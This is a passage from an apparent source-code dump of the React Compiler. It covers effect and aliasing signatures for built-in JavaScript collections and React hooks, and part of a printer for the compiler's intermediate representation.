Effect.ConditionallyMutate,\n      returnValueKind: ValueKind.Mutable,\n      noAlias: true,\n      mutableOnlyIfOperandsAreMutable: true,\n    }),\n  ],\n  [\n    'findIndex',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [],\n      restParam: Effect.ConditionallyMutate,\n      returnType: {kind: 'Primitive'},\n      /*\n       * callee is ConditionallyMutate because items of the array\n       * flow into the lambda and may be mutated there, even though\n       * the array object itself is not modified\n       */\n      calleeEffect: Effect.ConditionallyMutate,\n      returnValueKind: ValueKind.Primitive,\n      noAlias: true,\n      mutableOnlyIfOperandsAreMutable: true,\n    }),\n  ],\n  [\n    'join',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [],\n      restParam: Effect.Read,\n      returnType: PRIMITIVE_TYPE,\n      calleeEffect: Effect.Read,\n      returnValueKind: ValueKind.Primitive,\n    }),\n  ],\n  // TODO: rest of Array properties\n]);\n\n/* Built-in Object shape */\naddObject(BUILTIN_SHAPES, BuiltInObjectId, [\n  [\n    'toString',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [],\n      restParam: null,\n      returnType: PRIMITIVE_TYPE,\n      calleeEffect: Effect.Read,\n      returnValueKind: ValueKind.Primitive,\n    }),\n  ],\n  /*\n   * TODO:\n   * hasOwnProperty, isPrototypeOf, propertyIsEnumerable, toLocaleString, valueOf\n   */\n]);\n\n/* Built-in Set shape */\naddObject(BUILTIN_SHAPES, BuiltInSetId, [\n  [\n    /**\n     * add(value)\n     * Parameters\n     *   value: the value of the element to add to the Set object.\n     * Returns the Set object with added value.\n     */\n    'add',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [Effect.Capture],\n      restParam: null,\n      returnType: {kind: 'Object', shapeId: BuiltInSetId},\n      calleeEffect: Effect.Store,\n      // returnValueKind is technically dependent on the ValueKind of the set itself\n      returnValueKind: ValueKind.Mutable,\n      aliasing: {\n        receiver: '@receiver',\n        params: [],\n        rest: '@rest',\n        returns: '@returns',\n        temporaries: [],\n        effects: [\n          // Set.add returns the receiver Set\n          {\n            kind: 'Assign',\n            from: '@receiver',\n            into: '@returns',\n          },\n          // Set.add mutates the set itself\n          {\n            kind: 'Mutate',\n            value: '@receiver',\n          },\n          // Captures the rest params into the set\n          {\n            kind: 'Capture',\n            from: '@rest',\n            into: '@receiver',\n          },\n        ],\n      },\n    }),\n  ],\n  [\n    /**\n     * clear()\n     * Parameters none\n     * Returns undefined\n     */\n    'clear',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [],\n      restParam: null,\n      returnType: PRIMITIVE_TYPE,\n      calleeEffect: Effect.Store,\n      returnValueKind: ValueKind.Primitive,\n    }),\n  ],\n  [\n    /**\n     * setInstance.delete(value)\n     * Returns true if value was already in Set; otherwise false.\n     */\n    'delete',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [Effect.Read],\n      restParam: null,\n      returnType: PRIMITIVE_TYPE,\n      calleeEffect: Effect.Store,\n      returnValueKind: ValueKind.Primitive,\n    }),\n  ],\n  [\n    'has',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [Effect.Read],\n      restParam: null,\n      returnType: PRIMITIVE_TYPE,\n      calleeEffect: Effect.Read,\n      returnValueKind: ValueKind.Primitive,\n    }),\n  ],\n  ['size', PRIMITIVE_TYPE],\n  [\n    /**\n     * difference(other)\n     * Parameters\n     *   other: A Set object, or set-like object.\n     * Returns a new Set object containing elements in this set but not in the other set.\n     */\n    'difference',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [Effect.Capture],\n      restParam: null,\n      returnType: {kind: 'Object', shapeId: BuiltInSetId},\n      calleeEffect: Effect.Capture,\n      returnValueKind: ValueKind.Mutable,\n    }),\n  ],\n  [\n    /**\n     * union(other)\n     * Parameters\n     *   other: A Set object, or set-like object.\n     * Returns a new Set object containing elements in either this set or the other set.\n     */\n    'union',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [Effect.Capture],\n      restParam: null,\n      returnType: {kind: 'Object', shapeId: BuiltInSetId},\n      calleeEffect: Effect.Capture,\n      returnValueKind: ValueKind.Mutable,\n    }),\n  ],\n  [\n    /**\n     * symmetricalDifference(other)\n     * Parameters\n     *   other: A Set object, or set-like object.\n     * A new Set object containing elements which are in either this set or the other set, but not in both.\n     */\n    'symmetricalDifference',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [Effect.Capture],\n      restParam: null,\n      returnType: {kind: 'Object', shapeId: BuiltInSetId},\n      calleeEffect: Effect.Capture,\n      returnValueKind: ValueKind.Mutable,\n    }),\n  ],\n  [\n    /**\n     * isSubsetOf(other)\n     * Parameters\n     *   other: A Set object, or set-like object.\n     * Returns true if all elements in this set are also in the other set, and false otherwise.\n     */\n    'isSubsetOf',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [Effect.Read],\n      restParam: null,\n      returnType: PRIMITIVE_TYPE,\n      calleeEffect: Effect.Read,\n      returnValueKind: ValueKind.Primitive,\n    }),\n  ],\n  [\n    /**\n     * isSupersetOf(other)\n     * Parameters\n     *  other: A Set object, or set-like object.\n     * Returns true if all elements in the other set are also in this set, and false otherwise.\n     */\n    'isSupersetOf',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [Effect.Read],\n      restParam: null,\n      returnType: PRIMITIVE_TYPE,\n      calleeEffect: Effect.Read,\n      returnValueKind: ValueKind.Primitive,\n    }),\n  ],\n  [\n    /**\n     * forEach(callbackFn)\n     * forEach(callbackFn, thisArg)\n     */\n    'forEach',\n    addFunction(BUILTIN_SHAPES, [], {\n      /**\n       * see Array.map explanation for why arguments are marked `ConditionallyMutate`\n       */\n      positionalParams: [],\n      restParam: Effect.ConditionallyMutate,\n      returnType: PRIMITIVE_TYPE,\n      calleeEffect: Effect.ConditionallyMutate,\n      returnValueKind: ValueKind.Primitive,\n      noAlias: true,\n      mutableOnlyIfOperandsAreMutable: true,\n    }),\n  ],\n  /**\n   * Iterators\n   */\n  [\n    'entries',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [],\n      restParam: null,\n      returnType: {kind: 'Poly'},\n      calleeEffect: Effect.Capture,\n      returnValueKind: ValueKind.Mutable,\n    }),\n  ],\n  [\n    'keys',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [],\n      restParam: null,\n      returnType: {kind: 'Poly'},\n      calleeEffect: Effect.Capture,\n      returnValueKind: ValueKind.Mutable,\n    }),\n  ],\n  [\n    'values',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [],\n      restParam: null,\n      returnType: {kind: 'Poly'},\n      calleeEffect: Effect.Capture,\n      returnValueKind: ValueKind.Mutable,\n    }),\n  ],\n]);\naddObject(BUILTIN_SHAPES, BuiltInMapId, [\n  [\n    /**\n     * clear()\n     * Parameters none\n     * Returns undefined\n     */\n    'clear',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [],\n      restParam: null,\n      returnType: PRIMITIVE_TYPE,\n      calleeEffect: Effect.Store,\n      returnValueKind: ValueKind.Primitive,\n    }),\n  ],\n  [\n    'delete',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [Effect.Read],\n      restParam: null,\n      returnType: PRIMITIVE_TYPE,\n      calleeEffect: Effect.Store,\n      returnValueKind: ValueKind.Primitive,\n    }),\n  ],\n  [\n    'get',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [Effect.Read],\n      restParam: null,\n      returnType: {kind: 'Poly'},\n      calleeEffect: Effect.Capture,\n      returnValueKind: ValueKind.Mutable,\n    }),\n  ],\n  [\n    'has',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [Effect.Read],\n      restParam: null,\n      returnType: PRIMITIVE_TYPE,\n      calleeEffect: Effect.Read,\n      returnValueKind: ValueKind.Primitive,\n    }),\n  ],\n  [\n    /**\n     * Params\n     *   key: the key of the element to add to the Map object. The key may be\n     *   any JavaScript type (any primitive value or any type of JavaScript\n     *   object).\n     *   value: the value of the element to add to the Map object.\n     * Returns the Map object.\n     */\n    'set',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [Effect.Capture, Effect.Capture],\n      restParam: null,\n      returnType: {kind: 'Object', shapeId: BuiltInMapId},\n      calleeEffect: Effect.Store,\n      returnValueKind: ValueKind.Mutable,\n    }),\n  ],\n  ['size', PRIMITIVE_TYPE],\n  [\n    'forEach',\n    addFunction(BUILTIN_SHAPES, [], {\n      /**\n       * see Array.map explanation for why arguments are marked `ConditionallyMutate`\n       */\n      positionalParams: [],\n      restParam: Effect.ConditionallyMutate,\n      returnType: PRIMITIVE_TYPE,\n      calleeEffect: Effect.ConditionallyMutate,\n      returnValueKind: ValueKind.Primitive,\n      noAlias: true,\n      mutableOnlyIfOperandsAreMutable: true,\n    }),\n  ],\n  /**\n   * Iterators\n   */\n  [\n    'entries',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [],\n      restParam: null,\n      returnType: {kind: 'Poly'},\n      calleeEffect: Effect.Capture,\n      returnValueKind: ValueKind.Mutable,\n    }),\n  ],\n  [\n    'keys',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [],\n      restParam: null,\n      returnType: {kind: 'Poly'},\n      calleeEffect: Effect.Capture,\n      returnValueKind: ValueKind.Mutable,\n    }),\n  ],\n  [\n    'values',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [],\n      restParam: null,\n      returnType: {kind: 'Poly'},\n      calleeEffect: Effect.Capture,\n      returnValueKind: ValueKind.Mutable,\n    }),\n  ],\n]);\n\naddObject(BUILTIN_SHAPES, BuiltInWeakSetId, [\n  [\n    /**\n     * add(value)\n     * Parameters\n     *   value: the value of the element to add to the Set object.\n     * Returns the Set object with added value.\n     */\n    'add',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [Effect.Capture],\n      restParam: null,\n      returnType: {kind: 'Object', shapeId: BuiltInWeakSetId},\n      calleeEffect: Effect.Store,\n      // returnValueKind is technically dependent on the ValueKind of the set itself\n      returnValueKind: ValueKind.Mutable,\n    }),\n  ],\n  [\n    /**\n     * setInstance.delete(value)\n     * Returns true if value was already in Set; otherwise false.\n     */\n    'delete',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [Effect.Read],\n      restParam: null,\n      returnType: PRIMITIVE_TYPE,\n      calleeEffect: Effect.Store,\n      returnValueKind: ValueKind.Primitive,\n    }),\n  ],\n  [\n    'has',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [Effect.Read],\n      restParam: null,\n      returnType: PRIMITIVE_TYPE,\n      calleeEffect: Effect.Read,\n      returnValueKind: ValueKind.Primitive,\n    }),\n  ],\n]);\n\naddObject(BUILTIN_SHAPES, BuiltInWeakMapId, [\n  [\n    'delete',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [Effect.Read],\n      restParam: null,\n      returnType: PRIMITIVE_TYPE,\n      calleeEffect: Effect.Store,\n      returnValueKind: ValueKind.Primitive,\n    }),\n  ],\n  [\n    'get',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [Effect.Read],\n      restParam: null,\n      returnType: {kind: 'Poly'},\n      calleeEffect: Effect.Capture,\n      returnValueKind: ValueKind.Mutable,\n    }),\n  ],\n  [\n    'has',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [Effect.Read],\n      restParam: null,\n      returnType: PRIMITIVE_TYPE,\n      calleeEffect: Effect.Read,\n      returnValueKind: ValueKind.Primitive,\n    }),\n  ],\n  [\n    /**\n     * Params\n     *   key: the key of the element to add to the Map object. The key may be\n     *   any JavaScript type (any primitive value or any type of JavaScript\n     *   object).\n     *   value: the value of the element to add to the Map object.\n     * Returns the Map object.\n     */\n    'set',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [Effect.Capture, Effect.Capture],\n      restParam: null,\n      returnType: {kind: 'Object', shapeId: BuiltInWeakMapId},\n      calleeEffect: Effect.Store,\n      returnValueKind: ValueKind.Mutable,\n    }),\n  ],\n]);\n\naddObject(BUILTIN_SHAPES, BuiltInUseStateId, [\n  ['0', {kind: 'Poly'}],\n  [\n    '1',\n    addFunction(\n      BUILTIN_SHAPES,\n      [],\n      {\n        positionalParams: [],\n        restParam: Effect.Freeze,\n        returnType: PRIMITIVE_TYPE,\n        calleeEffect: Effect.Read,\n        returnValueKind: ValueKind.Primitive,\n      },\n      BuiltInSetStateId,\n    ),\n  ],\n]);\n\naddObject(BUILTIN_SHAPES, BuiltInUseTransitionId, [\n  ['0', {kind: 'Primitive'}],\n  [\n    '1',\n    addFunction(\n      BUILTIN_SHAPES,\n      [],\n      {\n        positionalParams: [],\n        restParam: null,\n        returnType: PRIMITIVE_TYPE,\n        calleeEffect: Effect.Read,\n        returnValueKind: ValueKind.Primitive,\n      },\n      BuiltInStartTransitionId,\n    ),\n  ],\n]);\n\naddObject(BUILTIN_SHAPES, BuiltInUseOptimisticId, [\n  ['0', {kind: 'Poly'}],\n  [\n    '1',\n    addFunction(\n      BUILTIN_SHAPES,\n      [],\n      {\n        positionalParams: [],\n        restParam: Effect.Freeze,\n        returnType: PRIMITIVE_TYPE,\n        calleeEffect: Effect.Read,\n        returnValueKind: ValueKind.Primitive,\n      },\n      BuiltInSetOptimisticId,\n    ),\n  ],\n]);\n\naddObject(BUILTIN_SHAPES, BuiltInUseActionStateId, [\n  ['0', {kind: 'Poly'}],\n  [\n    '1',\n    addFunction(\n      BUILTIN_SHAPES,\n      [],\n      {\n        positionalParams: [],\n        restParam: Effect.Freeze,\n        returnType: PRIMITIVE_TYPE,\n        calleeEffect: Effect.Read,\n        returnValueKind: ValueKind.Primitive,\n      },\n      BuiltInSetActionStateId,\n    ),\n  ],\n]);\n\naddObject(BUILTIN_SHAPES, BuiltInUseReducerId, [\n  ['0', {kind: 'Poly'}],\n  [\n    '1',\n    addFunction(\n      BUILTIN_SHAPES,\n      [],\n      {\n        positionalParams: [],\n        restParam: Effect.Freeze,\n        returnType: PRIMITIVE_TYPE,\n        calleeEffect: Effect.Read,\n        returnValueKind: ValueKind.Primitive,\n      },\n      BuiltInDispatchId,\n    ),\n  ],\n]);\n\naddObject(BUILTIN_SHAPES, BuiltInUseRefId, [\n  ['current', {kind: 'Object', shapeId: BuiltInRefValueId}],\n]);\n\naddObject(BUILTIN_SHAPES, BuiltInRefValueId, [\n  ['*', {kind: 'Object', shapeId: BuiltInRefValueId}],\n]);\n\naddObject(BUILTIN_SHAPES, ReanimatedSharedValueId, []);\n\naddFunction(\n  BUILTIN_SHAPES,\n  [],\n  {\n    positionalParams: [],\n    restParam: Effect.ConditionallyMutate,\n    returnType: {kind: 'Poly'},\n    calleeEffect: Effect.ConditionallyMutate,\n    returnValueKind: ValueKind.Mutable,\n  },\n  BuiltInEffectEventId,\n);\n\n/**\n * MixedReadOnly =\n *   | primitive\n *   | simple objects (Record<string, MixedReadOnly>)\n *   | Array<MixedReadOnly>\n *\n * APIs such as Relay — but also Flux and other data stores — often return a\n * union of types with some interesting properties in terms of analysis.\n *\n * Given this constraint, if data came from Relay, then we should be able to\n * infer things like `data.items.map(): Array`. That may seem like a leap at\n * first but remember, we assume you're not patching builtins. Thus the only way\n * data.items.map can exist and be a function, given the above set of data types\n * and builtin JS methods, is if `data.items` was an Array, and `data.items.map`\n * is therefore calling Array.prototype.map. Then we know that function returns\n * an Array as well. This relies on the fact that map() is being called, so if\n * data.items was some other type it would error at runtime - so it's sound.\n *\n * Note that this shape is currently only used for hook return values, which\n * means that it's safe to type aliasing method-call return kinds as `Frozen`.\n *\n * Also note that all newly created arrays from method-calls (e.g. `.map`)\n * have the appropriate mutable `BuiltInArray` shape\n */\naddObject(BUILTIN_SHAPES, BuiltInMixedReadonlyId, [\n  [\n    'toString',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [],\n      restParam: Effect.Read,\n      returnType: PRIMITIVE_TYPE,\n      calleeEffect: Effect.Read,\n      returnValueKind: ValueKind.Primitive,\n    }),\n  ],\n  [\n    'indexOf',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [],\n      restParam: Effect.Read,\n      returnType: {kind: 'Primitive'},\n      calleeEffect: Effect.Read,\n      returnValueKind: ValueKind.Primitive,\n    }),\n  ],\n  [\n    'includes',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [],\n      restParam: Effect.Read,\n      returnType: {kind: 'Primitive'},\n      calleeEffect: Effect.Read,\n      returnValueKind: ValueKind.Primitive,\n    }),\n  ],\n  [\n    'at',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [Effect.Read],\n      restParam: null,\n      returnType: {kind: 'Object', shapeId: BuiltInMixedReadonlyId},\n      calleeEffect: Effect.Capture,\n      returnValueKind: ValueKind.Frozen,\n    }),\n  ],\n  [\n    'map',\n    addFunction(BUILTIN_SHAPES, [], {\n      /**\n       * Note `map`'s arguments are annotated as Effect.ConditionallyMutate as\n       * calling `<array>.map(fn)` might invoke `fn`, which means replaying its\n       * effects.\n       *\n       * (Note that Effect.Read / Effect.Capture on a function type means\n       * potential data dependency or aliasing respectively.)\n       */\n      positionalParams: [],\n      restParam: Effect.ConditionallyMutate,\n      returnType: {kind: 'Object', shapeId: BuiltInArrayId},\n      calleeEffect: Effect.ConditionallyMutate,\n      returnValueKind: ValueKind.Mutable,\n      noAlias: true,\n    }),\n  ],\n  [\n    'flatMap',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [],\n      restParam: Effect.ConditionallyMutate,\n      returnType: {kind: 'Object', shapeId: BuiltInArrayId},\n      calleeEffect: Effect.ConditionallyMutate,\n      returnValueKind: ValueKind.Mutable,\n      noAlias: true,\n    }),\n  ],\n  [\n    'filter',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [],\n      restParam: Effect.ConditionallyMutate,\n      returnType: {kind: 'Object', shapeId: BuiltInArrayId},\n      calleeEffect: Effect.ConditionallyMutate,\n      returnValueKind: ValueKind.Mutable,\n      noAlias: true,\n    }),\n  ],\n  [\n    'concat',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [],\n      restParam: Effect.Capture,\n      returnType: {\n        kind: 'Object',\n        shapeId: BuiltInArrayId,\n      },\n      calleeEffect: Effect.Capture,\n      returnValueKind: ValueKind.Mutable,\n    }),\n  ],\n  [\n    'slice',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [],\n      restParam: Effect.Read,\n      returnType: {\n        kind: 'Object',\n        shapeId: BuiltInArrayId,\n      },\n      calleeEffect: Effect.Capture,\n      returnValueKind: ValueKind.Mutable,\n    }),\n  ],\n  [\n    'every',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [],\n      restParam: Effect.ConditionallyMutate,\n      returnType: {kind: 'Primitive'},\n      calleeEffect: Effect.ConditionallyMutate,\n      returnValueKind: ValueKind.Primitive,\n      noAlias: true,\n      mutableOnlyIfOperandsAreMutable: true,\n    }),\n  ],\n  [\n    'some',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [],\n      restParam: Effect.ConditionallyMutate,\n      returnType: {kind: 'Primitive'},\n      calleeEffect: Effect.ConditionallyMutate,\n      returnValueKind: ValueKind.Primitive,\n      noAlias: true,\n      mutableOnlyIfOperandsAreMutable: true,\n    }),\n  ],\n  [\n    'find',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [],\n      restParam: Effect.ConditionallyMutate,\n      returnType: {kind: 'Object', shapeId: BuiltInMixedReadonlyId},\n      calleeEffect: Effect.ConditionallyMutate,\n      returnValueKind: ValueKind.Frozen,\n      noAlias: true,\n      mutableOnlyIfOperandsAreMutable: true,\n    }),\n  ],\n  [\n    'findIndex',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [],\n      restParam: Effect.ConditionallyMutate,\n      returnType: {kind: 'Primitive'},\n      calleeEffect: Effect.ConditionallyMutate,\n      returnValueKind: ValueKind.Primitive,\n      noAlias: true,\n      mutableOnlyIfOperandsAreMutable: true,\n    }),\n  ],\n  [\n    'join',\n    addFunction(BUILTIN_SHAPES, [], {\n      positionalParams: [],\n      restParam: Effect.Read,\n      returnType: PRIMITIVE_TYPE,\n      calleeEffect: Effect.Read,\n      returnValueKind: ValueKind.Primitive,\n    }),\n  ],\n  ['*', {kind: 'Object', shapeId: BuiltInMixedReadonlyId}],\n]);\n\naddObject(BUILTIN_SHAPES, BuiltInJsxId, []);\naddObject(BUILTIN_SHAPES, BuiltInFunctionId, []);\n\nexport const DefaultMutatingHook = addHook(\n  BUILTIN_SHAPES,\n  {\n    positionalParams: [],\n    restParam: Effect.ConditionallyMutate,\n    returnType: {kind: 'Poly'},\n    calleeEffect: Effect.Read,\n    hookKind: 'Custom',\n    returnValueKind: ValueKind.Mutable,\n  },\n  'DefaultMutatingHook',\n);\n\nexport const DefaultNonmutatingHook = addHook(\n  BUILTIN_SHAPES,\n  {\n    positionalParams: [],\n    restParam: Effect.Freeze,\n    returnType: {kind: 'Poly'},\n    calleeEffect: Effect.Read,\n    hookKind: 'Custom',\n    returnValueKind: ValueKind.Frozen,\n    aliasing: {\n      receiver: '@receiver',\n      params: [],\n      rest: '@rest',\n      returns: '@returns',\n      temporaries: [],\n      effects: [\n        // Freeze the arguments\n        {\n          kind: 'Freeze',\n          value: '@rest',\n          reason: ValueReason.HookCaptured,\n        },\n        // Returns a frozen value\n        {\n          kind: 'Create',\n          into: '@returns',\n          value: ValueKind.Frozen,\n          reason: ValueReason.HookReturn,\n        },\n        // May alias any arguments into the return\n        {\n          kind: 'Alias',\n          from: '@rest',\n          into: '@returns',\n        },\n      ],\n    },\n  },\n  'DefaultNonmutatingHook',\n);\n\nexport function signatureArgument(id: number): Place {\n  const place: Place = {\n    kind: 'Identifier',\n    effect: Effect.Unknown,\n    loc: GeneratedSource,\n    reactive: false,\n    identifier: {\n      declarationId: makeDeclarationId(id),\n      id: makeIdentifierId(id),\n      loc: GeneratedSource,\n      mutableRange: {start: makeInstructionId(0), end: makeInstructionId(0)},\n      name: null,\n      scope: null,\n      type: makeType(),\n    },\n  };\n  return place;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/HIR/PrintHIR.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {CompilerError} from '../CompilerError';\nimport {printReactiveScopeSummary} from '../ReactiveScopes/PrintReactiveFunction';\nimport DisjointSet from '../Utils/DisjointSet';\nimport {assertExhaustive} from '../Utils/utils';\nimport type {\n  FunctionExpression,\n  HIR,\n  HIRFunction,\n  Identifier,\n  IdentifierName,\n  Instruction,\n  InstructionValue,\n  LValue,\n  ManualMemoDependency,\n  MutableRange,\n  ObjectMethod,\n  ObjectPropertyKey,\n  Pattern,\n  Phi,\n  Place,\n  ReactiveInstruction,\n  ReactiveScope,\n  ReactiveValue,\n  SourceLocation,\n  SpreadPattern,\n  Terminal,\n  Type,\n} from './HIR';\nimport {GotoVariant, InstructionKind} from './HIR';\nimport {AliasingEffect, AliasingSignature} from '../Inference/AliasingEffects';\n\nexport type Options = {\n  indent: number;\n};\n\nexport function printFunctionWithOutlined(fn: HIRFunction): string {\n  const output = [printFunction(fn)];\n  for (const outlined of fn.env.getOutlinedFunctions()) {\n    output.push(`\\nfunction ${outlined.fn.id}:\\n${printHIR(outlined.fn.body)}`);\n  }\n  return output.join('\\n');\n}\n\nexport function printFunction(fn: HIRFunction): string {\n  const output = [];\n  let definition = '';\n  if (fn.id !== null) {\n    definition += fn.id;\n  } else {\n    definition += '<<anonymous>>';\n  }\n  if (fn.nameHint != null) {\n    definition += ` ${fn.nameHint}`;\n  }\n  if (fn.params.length !== 0) {\n    definition +=\n      '(' +\n      fn.params\n        .map(param => {\n          if (param.kind === 'Identifier') {\n            return printPlace(param);\n          } else {\n            return `...${printPlace(param.place)}`;\n          }\n        })\n        .join(', ') +\n      ')';\n  } else {\n    definition += '()';\n  }\n  definition += `: ${printPlace(fn.returns)}`;\n  output.push(definition);\n  output.push(...fn.directives);\n  output.push(printHIR(fn.body));\n  return output.join('\\n');\n}\n\nexport function printHIR(ir: HIR, options: Options | null = null): string {\n  let output = [];\n  let indent = ' '.repeat(options?.indent ?? 0);\n  const push = (text: string, indent: string = '  '): void => {\n    output.push(`${indent}${text}`);\n  };\n  for (const [blockId, block] of ir.blocks) {\n    output.push(`bb${blockId} (${block.kind}):`);\n    if (block.preds.size > 0) {\n      const preds = ['predecessor blocks:'];\n      for (const pred of block.preds) {\n        preds.push(`bb${pred}`);\n      }\n      push(preds.join(' '));\n    }\n    for (const phi of block.phis) {\n      push(printPhi(phi));\n    }\n    for (const instr of block.instructions) {\n      push(printInstruction(instr));\n    }\n    const terminal = printTerminal(block.terminal);\n    if (Array.isArray(terminal)) {\n      terminal.forEach(line => push(line));\n    } else {\n      push(terminal);\n    }\n  }\n  return output.map(line => indent + line).join('\\n');\n}\n\nexport function printMixedHIR(\n  value: Instruction | InstructionValue | Terminal,\n): string {\n  if (!('kind' in value)) {\n    return printInstruction(value);\n  }\n  switch (value.kind) {\n    case 'try':\n    case 'maybe-throw':\n    case 'sequence':\n    case 'label':\n    case 'optional':\n    case 'branch':\n    case 'if':\n    case 'logical':\n    case 'ternary':\n    case 'return':\n    case 'switch':\n    case 'throw':\n    case 'while':\n    case 'for':\n    case 'unreachable':\n    case 'unsupported':\n    case 'goto':\n    case 'do-while':\n    case 'for-in':\n    case 'for-of':\n    case 'scope':\n    case 'pruned-scope': {\n      const terminal = printTerminal(value);\n      if (Array.isArray(terminal)) {\n        return terminal.join('; ');\n      }\n      return terminal;\n    }\n    default: {\n      return printInstructionValue(value);\n    }\n  }\n}\n\nexport function printInstruction(instr: ReactiveInstruction): string {\n  const id = `[${instr.id}]`;\n  let value = printInstructionValue(instr.value);\n  if (instr.effects != null) {\n    value += `\\n    ${instr.effects.map(printAliasingEffect).join('\\n    ')}`;\n  }\n\n  if (instr.lvalue !== null) {\n    return `${id} ${printPlace(instr.lvalue)} = ${value}`;\n  } else {\n    return `${id} ${value}`;\n  }\n}\n\nexport function printPhi(phi: Phi): string {\n  const items = [];\n  items.push(printPlace(phi.place));\n  items.push(printMutableRange(phi.place.identifier));\n  items.push(printType(phi.place.identifier.type));\n  items.push(': phi(');\n  const phis = [];\n  for (const [blockId, place] of phi.operands) {\n    phis.push(`bb${blockId}: ${printPlace(place)}`);\n  }\n\n  items.push(phis.join(', '));\n  items.push(')');\n  return items.join('');\n}\n\nexport function printTerminal(terminal: Terminal): Array<string> | string {\n  let value;\n  switch (terminal.kind) {\n    case 'if': {\n      value = `[${terminal.id}] If (${printPlace(terminal.test)}) then:bb${\n        terminal.consequent\n      } else:bb${terminal.alternate}${\n        terminal.fallthrough ? ` fallthrough=bb${terminal.fallthrough}` : ''\n      }`;\n      break;\n    }\n    case 'branch': {\n      value = `[${terminal.id}] Branch (${printPlace(terminal.test)}) then:bb${\n        terminal.consequent\n      } else:bb${terminal.alternate} fallthrough:bb${terminal.fallthrough}`;\n      break;\n    }\n    case 'logical': {\n      value = `[${terminal.id}] Logical ${terminal.operator} test:bb${terminal.test} fallthrough=bb${terminal.fallthrough}`;\n      break;\n    }\n    case 'ternary': {\n      value = `[${terminal.id}] Ternary test:bb${terminal.test} fallthrough=bb${terminal.fallthrough}`;\n      break;\n    }\n    case 'optional': {\n      value = `[${terminal.id}] Optional (optional=${terminal.optional}) test:bb${terminal.test} fallthrough=bb${terminal.fallthrough}`;\n      break;\n    }\n    case 'throw': {\n      value = `[${terminal.id}] Throw ${printPlace(terminal.value)}`;\n      break;\n    }\n    case 'return': {\n      value = `[${terminal.id}] Return ${terminal.returnVariant}${\n        terminal.value != null ? ' ' + printPlace(terminal.value) : ''\n      }`;\n      if (terminal.effects != null) {\n        value += `\\n    ${terminal.effects.map(printAliasingEffect).join('\\n    ')}`;\n      }\n      break;\n    }\n    case 'goto': {\n      value = `[${terminal.id}] Goto${\n        terminal.variant === GotoVariant.Continue ? '(Continue)' : ''\n      } bb${terminal.block}`;\n      break;\n    }\n    case 'switch': {\n      const output = [];\n      output.push(`[${terminal.id}] Switch (${printPlace(terminal.test)})`);\n      terminal.cases.forEach(case_ => {\n        if (case_.test !== null) {\n          output.push(`  Case ${printPlace(case_.test)}: bb${case_.block}`);\n        } else {\n          output.push(`  Default: bb${case_.block}`);\n        }\n      });\n      if (terminal.fallthrough) {\n        output.push(`  Fallthrough: bb${terminal.fallthrough}`);\n      }\n      value = output;\n      break;\n    }\n    case 'do-while': {\n      value = `[${terminal.id}] DoWhile loop=${`bb${terminal.loop}`} test=bb${\n        terminal.test\n      } fallthrough=${`bb${terminal.fallthrough}`}`;\n      break;\n    }\n    case 'while': {\n      value = `[${terminal.id}] While test=bb${terminal.test} loop=${\n        terminal.loop !== null ? `bb${terminal.loop}` : ''\n      } fallthrough=${terminal.fallthrough ? `bb${terminal.fallthrough}` : ''}`;\n      break;\n    }\n    case 'for': {\n      value = `[${terminal.id}] For init=bb${terminal.init} test=bb${terminal.test} loop=bb${terminal.loop} update=bb${terminal.update} fallthrough=bb${terminal.fallthrough}`;\n      break;\n    }\n    case 'for-of': {\n      value = `[${terminal.id}] ForOf init=bb${terminal.init} test=bb${terminal.test} loop=bb${terminal.loop} fallthrough=bb${terminal.fallthrough}`;\n      break;\n    }\n    case 'for-in': {\n      value = `[${terminal.id}] ForIn init=bb${terminal.init} loop=bb${terminal.loop} fallthrough=bb${terminal.fallthrough}`;\n      break;\n    }\n    case 'label': {\n      value = `[${terminal.id}] 